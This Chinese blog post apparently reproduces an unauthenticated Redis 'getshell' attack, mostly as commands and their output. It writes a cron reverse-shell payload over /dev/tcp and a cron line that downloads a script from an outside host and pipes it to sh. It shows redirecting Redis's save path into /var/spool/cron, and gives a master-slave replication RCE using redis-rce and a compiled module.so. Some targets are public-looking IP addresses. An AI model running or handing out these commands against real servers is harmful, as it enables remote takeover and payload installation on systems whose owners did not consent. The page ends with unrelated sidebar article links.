当前位置:网站首页>漏洞复现-redis未授权getshell
漏洞复现-redis未授权getshell
2022-08-09 18:37:00 【amingMM】
redis未授权getshell
简介:
Redis是一个开源的使用ANSI C语言编写、
支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,
并提供多种语言的API。
作为一个高性能的key-value数据库,
Redis在部分场景下对关系数据库起到很好的补充作用。
任务 getshell
E:\hack\envir\redis>redis-cli -h 120.xx.xx.4
rdm客户端 — info 打印 一下 未授权 Linux服务器
set xx "\n* * * * * bash -i >& /dev/tcp/ip/端口 0>&1\n"
*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh
tw:0>config set dir /var/spool/cron/
"ERR Changing directory: No such file or directory"
尝试其他办法
tw2:0>config set dir /var/spool/cron/
"OK"
tw2:0>tw2:0>config set dbfilename root
"OK"
save
140.112.90.153:6379> save
(error) ERR
原因分析:
启动redis-server服务时,没有root权限
解决方案:
sudo kill -9 pid #将redis服务杀掉
sudo redis-server ***/redis.config #sudo使用root权限启动
主从复制 getshell
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce.git
进入RedisModules-ExecuteCommand目录输入
make
会生成moudle.so 文件
# cp /home/amingmm/RedisModules-ExecuteCommand/module.so /home/amingmm/RedisModules-ExecuteCommand/redis-rce
把生成的moudle.so复制到redis-rce目录里面,之后进入redis-rce目录里面输入
python redis-rce.py -r 192.168.111.132 -p 6379 -L 192.168.111.130 -f moudle.so
边栏推荐
- Mysql table structure change scheme comparison and analysis
- How to suppress alarm storms?
- [Free Column] Android Fragment Injection for Android Security
- 如何抑制告警风暴?
- Open Source Summer | List Details Display Based on Ruoyi Architecture
- 基于CC2530 E18-MS1-PCB Zigbee DIY作品(二)
- leetcode 503.下一个更大元素II 单调栈
- 这年头还不来尝试线稿图视频??
- 『百日百题 · 基础篇』备战面试,坚持刷题 第五话——循环语句(2)!
- 为什么maxcompute的数据导入到mysql会乱码?mysql的表是udf8mb4的编码
猜你喜欢
2022深圳(软考高级)信息系统项目管理师认证报名
双屏协作更高效,华硕灵耀X 双屏Pro 2022创作体验再升级
How to stop the test after reaching a given number of errors during stress testing in JMeter
2022深圳(软考中级)系统集成项目管理工程师报名
渗透测试——CFS三层靶机内网渗透实操
『百日百题 · 基础篇』备战面试,坚持刷题 第五话——循环语句(2)!
最新BEV感知基线 | 你确定需要激光雷达?(卡内基梅隆大学)
没有 accept,建立 TCP 连接,可以吗?
Intensive reading of the paper: VIT - AN IMAGE IS WORTH 16X16 WORDS: TRANSFORMERS FOR IMAGE RECOGNITION AT SCALE
对应运放 RC 滤波负反馈的波形
随机推荐
[Free column] Xposed plug-in development for Android security [from scratch] tutorial
awk use
Intensive reading of the paper: VIT - AN IMAGE IS WORTH 16X16 WORDS: TRANSFORMERS FOR IMAGE RECOGNITION AT SCALE
Swift--多条件排序
[免费专栏] Android安全之Android奇淫run-as命令
IS31FL3737B 通用12×12 LED驱动器 I2C 42mA 40QFN
[免费专栏] Android安全之Android工程模式
NetCore路由的Endpoint模式
『百日百题 · 基础篇』备战面试,坚持刷题 第五话——循环语句(2)!
字节二面,差点倒在了MySQL上面
hdu 2647 Reward(拓扑排序)
最新BEV感知基线 | 你确定需要激光雷达?(卡内基梅隆大学)
数学建模代码速成~赛前一个月~matlab~代码模板~吐血总结~三大模型代码(预测模型、优化模型、评价模型)
Iptables防火墙常见的典型应用场景
MFC教程
为什么数字钱包需要引入小程序生态
面试官:当Redis大的时候,要如何处理key?
poj 1182 食物链(带权并查集)
2022深圳(软考中级)系统集成项目管理工程师报名
技术分享 | 接口自动化测试如何处理 Header cookie